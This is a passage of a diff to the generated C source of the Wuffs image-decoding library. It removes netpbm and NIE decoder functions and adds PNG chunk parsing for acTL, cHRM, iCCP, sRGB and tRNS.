(self->private_impl.f_chunk_type == 1346585449u) { -+ if (self->private_impl.f_report_metadata_iccp) { -+ if (self->private_impl.f_seen_iccp) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ status = wuffs_png__decoder__decode_iccp(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_iccp = true; -+ } -+ } else if (self->private_impl.f_chunk_type == 1111970419u) { -+ if (self->private_impl.f_report_metadata_srgb) { -+ if (self->private_impl.f_seen_srgb) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ status = wuffs_png__decoder__decode_srgb(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_srgb = true; -+ } -+ } else if (self->private_impl.f_chunk_type == 1397641844u) { -+ if (self->private_impl.f_seen_trns || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } else if (self->private_impl.f_color_type > 3u) { -+ } else { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_png__decoder__decode_trns(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ self->private_impl.f_seen_trns = true; - } -- } else if (self->private_impl.f_call_sequence == 64u) { -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; - } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height), -- ((wuffs_base__flicks)(0u)), -- 0u, -- self->private_impl.f_frame_config_io_position, -- 0u, -- false, -- false, -- 0u); -+ if (self->private_impl.f_metadata_fourcc == 0u) { -+ self->private_data.s_decode_other_chunk.scratch = self->private_impl.f_chunk_length; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ if (self->private_data.s_decode_other_chunk.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_decode_other_chunk.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_decode_other_chunk.scratch; - } -- self->private_impl.f_call_sequence = 64u; - -+ goto ok; - ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -+ self->private_impl.p_decode_other_chunk = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_other_chunk = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -50339,181 +63633,130 @@ wuffs_netpbm__decoder__do_decode_frame_config( - return status; - } - --// -------- func netpbm.decoder.decode_frame -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_frame( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -- -- ok: -- self->private_impl.p_decode_frame[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -- --// -------- func netpbm.decoder.do_decode_frame -+// -------- func png.decoder.decode_actl - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_netpbm__decoder__do_decode_frame( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+wuffs_png__decoder__decode_actl( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_actl; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 64u) { -- } else if (self->private_impl.f_call_sequence < 64u) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_netpbm__decoder__do_decode_frame_config(self, NULL, a_src); -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ if (self->private_impl.f_chunk_length != 8u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } else if (self->private_impl.f_interlace_pass > 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ goto exit; - } -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y = 0u; -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette(a_dst), -- wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), -- wuffs_base__utility__empty_slice_u8(), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -+ self->private_impl.f_chunk_length = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_actl.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } - } -- goto ok; -+ self->private_impl.f_num_animation_frames_value = t_0; - } -- while (true) { -- v_status = wuffs_netpbm__decoder__swizzle(self, a_dst, a_src); -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } else if (v_status.repr != wuffs_netpbm__note__internal_note_short_read) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -- goto exit; -+ if (self->private_impl.f_num_animation_frames_value == 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_actl.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_actl.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); - } -- goto ok; - } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ self->private_impl.f_num_animation_loops_value = t_1; - } -- self->private_impl.f_call_sequence = 96u; - -+ goto ok; - ok: -- self->private_impl.p_do_decode_frame[0] = 0; -+ self->private_impl.p_decode_actl = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_actl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ - return status; - } - --// -------- func netpbm.decoder.swizzle -+// -------- func png.decoder.decode_chrm - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_netpbm__decoder__swizzle( -- wuffs_netpbm__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -+wuffs_png__decoder__decode_chrm( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint32_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row = 0; -- uint32_t v_src_bytes_per_pixel = 0; -- wuffs_base__table_u8 v_tab = {0}; -- wuffs_base__slice_u8 v_dst = {0}; -- uint64_t v_i = 0; -- uint64_t v_j = 0; -- uint64_t v_n = 0; -+ uint64_t v_u = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -50526,543 +63769,337 @@ wuffs_netpbm__decoder__swizzle( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -- goto exit; -- } -- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- while (true) { -- if (self->private_impl.f_dst_x == self->private_impl.f_width) { -- self->private_impl.f_dst_x = 0u; -- self->private_impl.f_dst_y += 1u; -- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -- break; -- } -- } -- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); -+ uint32_t coro_susp_point = self->private_impl.p_decode_chrm; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_chunk_length != 32u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -- if (v_i >= ((uint64_t)(v_dst.len))) { -- v_src_bytes_per_pixel = 1u; -- if (self->private_impl.f_pixfmt == 2684356744u) { -- v_src_bytes_per_pixel = 3u; -- } -- v_n = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(v_src_bytes_per_pixel))); -- v_n = wuffs_base__u64__min(v_n, ((uint64_t)(((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x))))); -- v_j = v_n; -- while (v_j >= 8u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 8u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 8u); -+ self->private_impl.f_chunk_length = 0u; -+ self->private_impl.f_metadata_flavor = 5u; -+ self->private_impl.f_metadata_fourcc = 1128813133u; -+ self->private_impl.f_metadata_x = 0u; -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); - } -- v_j -= 8u; - } -- while (v_j > 0u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= ((uint64_t)((v_src_bytes_per_pixel * 1u)))) { -- iop_a_src += (v_src_bytes_per_pixel * 1u); -+ v_u = t_0; -+ } -+ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint64_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 24) { -+ t_1 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); - } -- v_j -= 1u; - } -- } else { -- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( -- &self->private_impl.f_swizzler, -- wuffs_base__slice_u8__subslice_i(v_dst, v_i), -- wuffs_base__pixel_buffer__palette(a_dst), -- &iop_a_src, -- io2_a_src); -- } -- if (v_n == 0u) { -- status = wuffs_base__make_status(wuffs_netpbm__note__internal_note_short_read); -- goto ok; -+ v_u = t_1; - } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -- } -- status = wuffs_base__make_status(NULL); -- goto ok; -- -- ok: -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func netpbm.decoder.frame_dirty_rect -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_netpbm__decoder__frame_dirty_rect( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- -- return wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height); --} -- --// -------- func netpbm.decoder.num_animation_loops -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_netpbm__decoder__num_animation_loops( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func netpbm.decoder.num_decoded_frame_configs -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__num_decoded_frame_configs( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- if (self->private_impl.f_call_sequence > 32u) { -- return 1u; -- } -- return 0u; --} -- --// -------- func netpbm.decoder.num_decoded_frames -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__num_decoded_frames( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- if (self->private_impl.f_call_sequence > 64u) { -- return 1u; -- } -- return 0u; --} -- --// -------- func netpbm.decoder.restart_frame -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__restart_frame( -- wuffs_netpbm__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } -- if ((a_index != 0u) || (a_io_position != self->private_impl.f_frame_config_io_position)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- self->private_impl.f_call_sequence = 40u; -- return wuffs_base__make_status(NULL); --} -- --// -------- func netpbm.decoder.set_report_metadata -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_netpbm__decoder__set_report_metadata( -- wuffs_netpbm__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_base__make_empty_struct(); --} -- --// -------- func netpbm.decoder.tell_me_more -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__tell_me_more( -- wuffs_netpbm__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -- -- goto ok; -- ok: -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -- --// -------- func netpbm.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_netpbm__decoder__history_retain_length( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func netpbm.decoder.workbuf_len -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_netpbm__decoder__workbuf_len( -- const wuffs_netpbm__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); --} -- --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) -- --// ---------------- Status Codes Implementations -- --const char wuffs_nie__error__bad_header[] = "#nie: bad header"; --const char wuffs_nie__error__truncated_input[] = "#nie: truncated input"; --const char wuffs_nie__error__unsupported_nie_file[] = "#nie: unsupported NIE file"; --const char wuffs_nie__note__internal_note_short_read[] = "@nie: internal note: short read"; -- --// ---------------- Private Consts -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_nie__decoder__do_decode_image_config( -- wuffs_nie__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_nie__decoder__do_decode_frame_config( -- wuffs_nie__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_nie__decoder__do_decode_frame( -- wuffs_nie__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_nie__decoder__swizzle( -- wuffs_nie__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --// ---------------- VTables -- --const wuffs_base__image_decoder__func_ptrs --wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_nie__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_nie__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_nie__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_nie__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_nie__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_nie__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_nie__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_nie__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_nie__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_nie__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_nie__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_nie__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_nie__decoder__initialize( -- wuffs_nie__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -- -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint64_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ 